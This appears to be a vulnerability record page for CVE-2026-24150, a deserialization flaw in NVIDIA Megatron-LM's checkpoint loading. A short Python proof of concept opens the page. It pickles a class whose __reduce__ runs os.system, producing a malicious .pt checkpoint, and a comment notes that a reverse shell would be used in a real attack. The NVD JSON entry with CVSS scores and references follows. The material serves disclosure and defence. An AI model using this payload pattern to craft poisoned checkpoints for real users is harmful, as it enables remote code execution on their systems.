CVE-2026-24150

import pickle import os # Define a malicious class to execute code on unpickling class MaliciousCheckpoint: def __reduce__(self): # Execute a shell command (e.g., id) when the object is loaded # In a real attack, this would be a reverse shell connection return (os.system, ('echo "Vulnerable to RCE via Checkpoint Loading"',)) # Create the malicious payload payload = MaliciousCheckpoint() # Save the payload to a file (simulating a checkpoint file) filename = 'malicious_model_checkpoint.pt' with open(filename, 'wb') as f: pickle.dump(payload, f) print(f"[+] Malicious checkpoint file '{filename}' generated successfully.") print(f"[+] When loaded by Megatron-LM, it will execute the system command.")

{"cve": {"id": "CVE-2026-24150", "sourceIdentifier": "[email protected]", "published": "2026-03-24T21:16:27.357", "lastModified": "2026-03-25T21:58:12.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA Megatron-LM contains a vulnerability in checkpoint loading where an Attacker may cause an RCE by convincing a user to load a maliciously crafted file. A successful exploit of this vulnerability may lead to code execution, escalation of privileges, information disclosure, and data tampering."}, {"lang": "es", "value": "NVIDIA Megatron-LM contiene una vulnerabilidad en la carga de puntos de control donde un atacante puede causar una RCE al convencer a un usuario de cargar un archivo creado con fines maliciosos. Un exploit exitoso de esta vulnerabilidad puede conducir a la ejecución de código, escalada de privilegios, revelación de información y manipulación de datos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:megatron-lm:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.15.3", "matchCriteriaId": "05221D08-E8D5-4CBE-8B4E-8CE4C8176AB4"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24150", "source": "[email protected]", "tags": ["Third Party Advisory", "US Government Resource"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5769", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-24150", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}